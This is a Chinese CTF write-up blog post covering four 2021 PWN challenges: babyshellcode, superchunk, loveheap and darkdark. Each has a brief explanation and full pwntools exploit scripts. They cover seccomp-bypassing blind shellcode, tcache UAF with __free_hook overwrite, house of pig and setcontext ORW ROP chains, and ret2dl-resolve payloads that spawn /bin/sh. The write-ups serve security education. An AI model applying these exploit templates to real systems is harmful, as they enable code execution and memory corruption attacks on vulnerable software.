2021能源PWN wp

babyshellcode

这题考无write泄露,write被沙盒禁用时,可以考虑延时盲注的方式获得flag,此exp可作为此类型题目模版,只需要修改部分参数即可,详细见注释

from pwn import * from pwn import p64,u64,p32,u32,p8 from pwnlib import timeout context.arch = 'amd64' # context.log_level = 'debug' context.terminal = ['tmux','sp','-h'] # elf = ELF('./chall') # libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') # libc = ELF('') io = process('./chall') # 参数分别为:读取的内存地址、按字节增长偏移、ascii值 def exp(targetAddr,offset,ch): io.recvuntil('Are you a shellcode master?') # 打开flag文件, # open('flag',0) op = asm("""mov rax,0x67616c66 push rax mov rdi,rsp push 2 pop rax push 0 pop rsi syscall """) # 读取flag到指定内存中, # read(3,targetAddr,0x30) rd = asm("""push 0 pop rax push {} pop rsi push 3 pop rdi push 0x30 pop rdx syscall """.format(hex(targetAddr))) # 对flag进行比较,如果不相同则直接返回,会直接EOF, # 如果相同会进入死循环达到延时效果,依靠EOF时间来判断flag值是否相同 wt = asm("""mov rsi,{2} cmp byte ptr [rsi+{0}],{1} jz $-10 ret """.format(hex(offset),hex(ch),hex(targetAddr))) # 读取足够长度payload到可执行段中, # read(0,0x10014,0x100) sh = asm("""push 0 pop rax push 0x10014 pop rsi push 0x100 pop rdx push 0 pop rdi syscall """) payload = sh io.send(payload) pl2 = op pl2 += rd pl2 += wt sleep(0.1) io.send(pl2) #flag = 'flag{7DSR6JunIeMwgTz2UyVQobsthxkKEp4L}' # 外层循环为位,按位爆破 for i in range(37,0x30): # 内层循环为ascii码 for c in range(0x20,128): io = process('./chall') # io = remote('106.14.120.231','26985') exp(0x10500,i,c) print('now==>',chr(c)) try: io.interactive() io.close() except: io.close() continue

superchunk

用UAF编辑已释放堆块的fd和bk来绕过tcache double free的检查,然后将堆块重叠到tcache bin链表头部,此时tcache bin里面会多出很多杂乱的内容,想办法让其合并,然后里面就有了main_arena的地址,再对地址进行爆破,得到stdout地址,修改flag,泄露libc,最后将__free_hook内写入system,调用free时就会调用system("/bin/sh")

from pwn import * from pwn import p64,u64,p32,u32,p8,p16 context.arch = 'amd64' # context.log_level = 'debug' context.terminal = ['tmux','sp','-h'] # elf = ELF('./superchunk') # libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so') io = process('./superchunk') # io = remote('106.14.120.231','22521') def add(size): io.sendlineafter('Your choice: ','1') io.sendlineafter('Size: ', str(size)) def delete(): io.sendlineafter('Your choice: ','4') def edit(content): io.sendlineafter('Your choice: ','2') io.sendafter('Content: ', content) def recv(): leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) return leak atoi = 0x602058 def exp(): add(0x100) delete() edit('a'*0x10) delete() edit(p16(0x3010)) add(0x100) add(0x100) edit('\x00'*0x23+'\x06') delete() edit('a'*0x10) delete() add(0x80) delete() add(0x100) edit(p16(0xe760)) add(0xb0) edit(p64(0xfbad3887)+p64(0)*3+p8(0)) leak = recv() info(hex(leak)) libc_base = leak - libc.sym['__free_hook']+0x38 info(hex(libc_base)) system = libc_base + libc.sym['system'] free_hook = libc.sym['__free_hook']+libc_base add(0x80) edit(b'\x03'+b'\x00'*0x3f+p64(free_hook)) add(0x10) edit(p64(system)) add(0x20) edit('/bin/sh\x00') delete() while 1: try: exp() io.sendline('cat flag') content = io.recv() print('flag========%s'%content) break except: io.close() io = process('./superchunk')

loveheap

程序漏洞点为UAF,可以申请0x40个堆块,每个堆块大小最大为0x200,无法使用largebin attack。总结了一下大概可以用三种方式来解题:

  1. tcache stash unlink attack 在free_hook 附近写入一个main_arena的值,此时有0x7f的chunk size可以用,直接申请到free_hook,然后写入setcontext函数,利用setcontxt的rdi构造好rdx的值,注意rcx需要是一个可读地址,随便写入一个堆块地址都行。在setcontext时就可以控制rdx的值了,在堆块中构造ROP链来orw。下面的exp也是用的这种方法。
  2. house of pig,这种方式已经在exp里面写好了,可以调用system("/bin/sh"),此题开了沙箱,无法获取shell,需要改为orw的方式。暂时还不会改,学会了再来完善。
  3. 泄露地址后,用tcache stash unlink attack在修改global_max_fast的值为main_arena的值,那么此时申请的堆块大小都是fastbin,然后从libc里的IO结构体一路申请到free_hook,把free_hook改为setcontext,之后和方法一的过程一样。这种方式可以在限制了申请大小的情况下进行fastbin attack。
from pwn import * from pwn import p64,u64,p32,u32,p8,p16 context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['tmux','sp','-h'] # elf = ELF('./loveheap') libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so') io = process('./loveheap') def add(size): io.sendlineafter('>>','1') io.sendlineafter('Please input the size\n', str(size)) def delete(idx): io.sendlineafter('>>','2') io.sendlineafter('Pls input the idx\n', str(idx)) def edit(idx,content): io.sendlineafter('>>','3') io.sendlineafter('Pls input the idx\n', str(idx)) io.sendafter('Pls input the content:\n', content) def show(idx): io.sendlineafter('>>','4') io.sendlineafter('Pls input the idx\n', str(idx)) def recv(flag='libc'): if flag=='heap': leak = u64(io.recv(6).ljust(8,b'\x00')) return leak else: leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) return leak def exp(): for i in range(9): add(0x200) for i in range(7): delete(i) delete(7) show(7) leak = recv() info(hex(leak)) libc_base = leak - libc.sym['__malloc_hook'] - 0x10 - 96 info(hex(libc_base)) malloc_hook = libc_base + libc.sym['__malloc_hook'] info(hex(malloc_hook)) for i in range(9): add(0x68) for i in range(9): delete(i+8) edit(16,p64(malloc_hook-0x33)) add(0x68) setcontext = libc_base + libc.sym['setcontext'] ''' .text:0000000000157D8A mov rbp, [rdi+48h] .text:0000000000157D8E mov rax, [rbp+18h] .text:0000000000157D92 lea r13, [rbp+10h] .text:0000000000157D96 mov dword ptr [rbp+10h], 0 .text:0000000000157D9D mov rdi, r13 .text:0000000000157DA0 call qword ptr [rax+28h] ''' max_fast = libc_base + libc.sym['global_max_fast'] add(0x68) add(0x200) gdb.attach(io,'b calloc') add(0x10) def exp2(): for i in range(8): add(0x68) # 0-7 delete(i) for i in range(6): add(0x90) # 8-13 for i in range(6): delete(i+8) for i in range(7): add(0x190) # 14-20 for i in range(7): delete(i+14) for i in range(7): add(0xe0) # 21-27 for i in range(7): delete(i+21) add(0x190) # 28 add(0x1f0) # 29 add(0x190) # 30 add(0x1f0) # 31 delete(28) show(28) libc_base = recv() - 96 - libc.sym['__malloc_hook'] - 0x10 libc.address = libc_base # global_max_fast = libc_base + 0x1eeb80 info(hex(libc.sym['system'])) show(2) heap_base = recv('heap') - 0x2a0 - 0x70 info(hex(heap_base)) add(0xf0) # 32 delete(30) add(0xf0) # 33 add(0x190) # 34 edit(30,b'a'*0xf0+p64(0)+p64(0xa1)+p64(heap_base+0x1cc0)+p64(libc.sym['__free_hook']-0x30)) add(0x90) # 35 # ---fastbin attack---# edit(7,p64(libc.sym['__free_hook']-0x23)) add(0x68) # 36 add(0x68) # 37 prdi = 0x0000000000026b72 + libc_base #: pop rdi ; ret prsi = 0x0000000000027529 + libc_base #: pop rsi ; ret prdx = 0x000000000011c371 + libc_base #: pop rdx ; pop r12 ; ret ret = 0x0000000000044148 + libc_base#: xor eax, eax ; ret edit(29,'flag') payload = p64(prdi)+p64(heap_base+0x1d70)+p64(prsi)+p64(0)+p64(libc.sym['open']) payload += p64(prdi) + p64(3) + p64(prsi)+p64(heap_base+0x1cd0)+p64(prdx)+p64(0x30)+p64(0)+p64(libc.sym['read']) payload += p64(prdi) +p64(1)+p64(prsi)+p64(heap_base+0x1cd0)+p64(prdx)+p64(0x30)+p64(0)+p64(libc.sym['write']) edit(31,payload) edit(8, p64(0)*6+p64(heap_base+0x2110)+p64(ret)+p64(0)*6+p64(heap_base+0x5b0)) #堆块31,大小0x200 edit(37,b'a'*19+p64(libc.sym['setcontext'])) # mov r12, QWORD PTR [rdx+0x48] # gdb.attach(io) delete(36) def house_of_pig(): # ----step 1 . leak info----# for i in range(8): # 0-7 add(0x90) for i in range(7): delete(i+1) delete(0) show(0) leak = recv() libc_base = leak - libc.sym['__malloc_hook'] - 96 -0x10 info(hex(libc_base)) show(2) heap_addr = recv('heap') - 0x340 info(hex(heap_addr)) setcontext = libc_base + libc.sym['setcontext'] + 61 system = libc_base + libc.sym['system'] malloc_hook = libc_base + libc.sym['__malloc_hook'] free_hook = libc_base + libc.sym['__free_hook'] io_list_all = libc_base + libc.sym['_IO_list_all'] #----step 2 . 准备tcache stash unlink attack----# for i in range(6): # 8-13 size:0xb0 add(0xa0) for i in range(9): # 14-22 size:0x1b0 add(0x1a0) for i in range(7): delete(22-i) # free 22 ~ 16 size:0x1b0 delete(15) # size:0x1b0,放入unsorted bin add(0xf0) # size:0x100,unsorted bin被切割,剩余大小0xb0 add(0x1f0) # size:0x200,把0xb0放入small bin delete(14) # size:0x1b0,放入unsorted bin(在15和14中间出现0x100的堆块) add(0xf0) # size:0x100,unsorted bin被切割,剩余大小0xb0 add(0x1f0) # size:0x200,把0xb0放入small bin for i in range(6): delete(8+i) # free 8 ~ 13 size:0xb0,6个0xb0被放入tcache edit(14,b'a'*0xf8+p64(0xb1)+p64(heap_addr+0xe60)+p64(io_list_all-0x10)) # 编辑0xb0 small bin的fd指针指向heap_addr+0xe60,bk指向io_list_all-0x10 add(0xa0) # 把small bin申请回来,io_list_all会填入一个main_arena的地址 #---- step 3 .构造_IO_FILE_plus结构体 ----# for i in range(9): add(0xf0) # 28-36 size:0x100 for i in range(7): delete(i+28) # free 28 ~ 34 size:0x100 delete(35) # size:0x100,放入unsorted bin add(0x1f0) # size:0x200,把0x100 大小的unsorted bin放入small bin payload = p64(0)*2+p64(0)+p64(heap_addr+0x1940)+p64(0) #rdx chunk 22 payload += p64(heap_addr+0x330)+p64(heap_addr+22+0x330)+p64(0)*4 #size 90 payload += p64(heap_addr+0xbb0)+p64(0)+p64(0)+b"\x00"*8 #chain 14 payload += p64(0)*4+b"\x00"*48 payload += p64(0x1ed560+libc_base) # _IO_str_jumps edit(35, payload) # **Fake IO_FILE_plus1(malloc(0x90))** edit(1, p64(setcontext)+p64(setcontext)) delete(1) # 删除此堆块后,tcache中链表头部会被写入setcontext函数的地址 add(0x130) # 38 edit(38,b'a'*0x88+p64(0x21)*3+p64(0x21)*2+p64(setcontext)+p64(setcontext)+p64(0x21)*2) edit(7, p64(malloc_hook)) payload = p64(0)*2+p64(0)+p64(heap_addr+0x1940)+p64(0) #rdx 22 payload += p64(heap_addr+0x350)+p64(heap_addr+22+0x350)+p64(0)*4 #size 90 payload += p64(heap_addr+0xf10)+p64(0)+p64(0)+b"\x00"*8 #chain 16 payload += p64(0)*4+b"\x00"*48 payload += p64(0x1ed560+libc_base)#_IO_str_jumps edit(14,payload)#Fake IO_FILE_plus2(malloc(0x90) && hijack malloc_hook = setcontext) binsh_addr = libc_base + next(libc.search(b'/bin/sh\0')) frame = SigreturnFrame() frame.rsp = (free_hook&0xfffffffffffff000)+8#16字节对齐 frame.rdi = binsh_addr frame.rsi = 0 frame.rdx = 0 frame.rip = system edit(22, bytes(frame)) # 22 payload = p64(0)*2+p64(0)+p64(heap_addr+0x1940)+p64(0) #rdx 22 payload += p64(heap_addr+0x370)+p64(heap_addr+22+0x370)+p64(0)*4 #size 90 payload += p64(0)+p64(0)+p64(0)+b"\x00"*8 #chain 17 payload += p64(0)*4+b"\x00"*48 payload += p64(0x1ed560+libc_base)#_IO_str_jumps edit(16,payload)#srop gdb.attach(io) io.recvuntil('>>') io.sendline('5') # house_of_pig() exp2() io.interactive()

darkdark

ret2dl-resolve,直接套用模版,改一下总体偏移和gadget地址就可以了

  • partial RELRO,这是正确的exp,最后附上NO RELRO的模版

    from pwn import * from pwn import p64,p32 context(os='linux', arch='amd64', log_level='debug') context.terminal=['tmux','sp','-h'] r = process('./darkdark') elf = ELF('./darkdark') libc = ELF('./libc-2.27.so') read_plt = elf.plt['read'] read_got = elf.got['read'] #bss bss = 0x601038 bss_stage = bss + 0x200 l_addr = libc.sym['system'] - libc.sym['read'] # l_addr 通常为负数 pop_rdi = 0x4005d3 #: pop rdi ; ret pop_rsi = 0x4005d1 #: pop rsi ; pop r15 ; ret #用于解析符号dl_runtime_resolve plt_load = 0x400426 def fake_Linkmap_payload(fake_linkmap_addr, known_func_ptr, offset): # &(2**64-1)是因为offset为负数,如果不控制范围,p64后会越界,发生错误 linkmap = p64(offset & (2 ** 64 - 1)) # l_addr # fake_linkmap_addr + 8,也就是DT_JMPREL,至于为什么有个0,可以参考IDA上.dyamisc的结构内容 linkmap += p64(0) # 可以为任意值 linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址 # fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0,也就是第一项 # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可 linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项 linkmap += p64(0) # Rela->r_addend,任意值都行 linkmap += p64(0) # l_ns # fake_linkmap_addr + 0x38, DT_SYMTAB linkmap += p64(0) # 参考IDA上.dyamisc的结构 # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8 linkmap += p64(known_func_ptr - 0x8) linkmap += b'/bin/sh\x00' linkmap = linkmap.ljust(0x68, b'A') # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址,由于我们用不到strtab,所以随意设置了一个可读区域 linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址 linkmap += p64(fake_linkmap_addr + 0x38) linkmap = linkmap.ljust(0xf8, b'A') # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址 linkmap += p64(fake_linkmap_addr + 0x8) return linkmap fake_link_map = fake_Linkmap_payload(bss_stage, read_got, l_addr) # 伪造link_map payload = flat('A' * 0x38, pop_rdi, 0, pop_rsi, bss_stage, 0, read_plt, # 把link_map写到bss段上 pop_rsi, 0, 0, # 使栈十六字节对齐,不然调用不了system # 把/bin/sh传进rdi,并且调用_dl_rutnime_resolve函数,传入伪造好的link_map和索引 pop_rdi, bss_stage + 0x48, plt_load, bss_stage, 0) r.sendline(payload) # gdb.attach(r) r.send(fake_link_map) r.interactive()
  • no RELRO,这只是模版,打不通的!!!

    from pwn import * from pwn import p64, u64, p32 context.update(os='linux', arch='amd64') context.log_level = 'debug' context.terminal = ['tmux', 'sp', '-h'] p = process('./darkdark') universal_gadget1 = 0x4005CA universal_gadget2 = 0x4005B0 main_got = 0x400474 # __libc_start_main GOT(PLT) pop_rdi_ret = 0x4005d3 #: pop rdi ; ret jmp_dl_fixup = 0x400426 # jmp cs:qword_601010 pop_rbp_ret = 0x4004b8 #: pop rbp ; ret leave_ret = 0x400564 #: leave ; ret read_got = 0x601020 bss = 0x601038 new_stack_addr = bss+0x500 fake_link_map_addr = bss+0x500+0x30 prsi = 0x4005d1 #: pop rsi ; pop r15 ; ret # libc中已解析函数与想要执行的目标函数的偏移值,如 addr_system-addr_xxx offset = 0x2da40 libc_start_main = 0x600FF0 ############## csu gadget ############# payload = b"" payload += b'A'*(0x30+0x8) # padding payload += p64(universal_gadget1) payload += p64(0x0) payload += p64(0x1) payload += p64(read_got) payload += p64(0) payload += p64(new_stack_addr) payload += p64(0x300) payload += p64(universal_gadget2) payload += b'A'*56 payload += p64(pop_rbp_ret) payload += p64(new_stack_addr) payload += p64(leave_ret) p.send(payload) sleep(0.5) ############# fake Elf64_Dyn ############# ''' Elf64_Dyn{ d_tag dq d_un dq } ''' fake_Elf64_Dyn = b"" fake_Elf64_Dyn += p64(0) # d_tag 从link_map中找.rel.plt不需要用到标签, 随意设置 # d_ptr 指向伪造的Elf64_Rela结构体,由于reloc_offset也被控制为0,不需要伪造多个结构体 fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18+0x18) ########################################## ############# fake Elf64_Rela ########### ''' Elf64_Rela{ r_offset dq r_info dq r_addend dq } ''' fake_Elf64_Rela = b"" # r_offset rel_addr = l->addr+reloc_offset,直接指向fake_link_map所在位置令其可读写就行 fake_Elf64_Rela += p64(fake_link_map_addr + offset+0x18) fake_Elf64_Rela += p64(7) # r_info index设置为0,最后一字节必须为7 fake_Elf64_Rela += p64(0) # r_addend 随意设置 ########################################### ############# fake Elf64_Sym ############# ''' Elf64_Sym{ st_name dd st_info db st_other db st_shndx dw st_value dq st_size dq } ''' fake_Elf64_Sym = b"" fake_Elf64_Sym += p32(0) # st_name 随意设置 # st_info, st_other, st_shndx st_other非0以避免进入重定位符号的分支 fake_Elf64_Sym += b'AAAA' # st_value 已解析函数的got表地址-8,-8体现在汇编代码中,原因不明 fake_Elf64_Sym += p64(libc_start_main-8) fake_Elf64_Sym += p64(0) # st_size 随意设置 ########################################## ############# link_map #################### fake_link_map_data = b"" fake_link_map_data += p64(offset) # l_addr,伪造为两个函数的地址偏移值 fake_link_map_data += fake_Elf64_Dyn fake_link_map_data += fake_Elf64_Rela fake_link_map_data += fake_Elf64_Sym fake_link_map_data += b'\x00'*0x20 fake_link_map_data += p64(fake_link_map_addr+0x18) # DT_STRTAB 设置为一个可读的地址 fake_link_map_data += p64(fake_link_map_addr + 0x30+0x18) # DT_SYMTAB 指向对应结构体数组的地址 fake_link_map_data += b"/bin/sh\x00" fake_link_map_data += b'\x00'*0x78 fake_link_map_data += p64(fake_link_map_addr + 0x8+0x18) # DT_JMPREL 指向对应数组结构体的地址 ########################################### payload = b"" payload += b"BBBBBBBB" payload += p64(prsi) + p64(0)*2 # 清寄存器,否则/bin/sh调用失败 payload += p64(pop_rdi_ret) payload += p64(fake_link_map_addr+0x78+0x18) # /bin/sh\x00地址 # 用jmp跳转到_dl_fixup,link_map和reloc_offset都由我们自己伪造 payload += p64(jmp_dl_fixup) payload += p64(fake_link_map_addr+0x18) # 伪造的link_map地址 payload += p64(0) # 伪造的reloc_offset payload += fake_link_map_data gdb.attach(p) p.send(payload) p.interactive()

__EOF__

本文作者unr4v31
本文链接https://www.cnblogs.com/unr4v31/p/15434452.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   unr4v31  阅读(373)  评论(0编辑  收藏  举报
编辑推荐:
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 上周热点回顾(3.3-3.9)
· AI 智能体引爆开源社区「GitHub 热点速览」
点击右上角即可分享
微信分享提示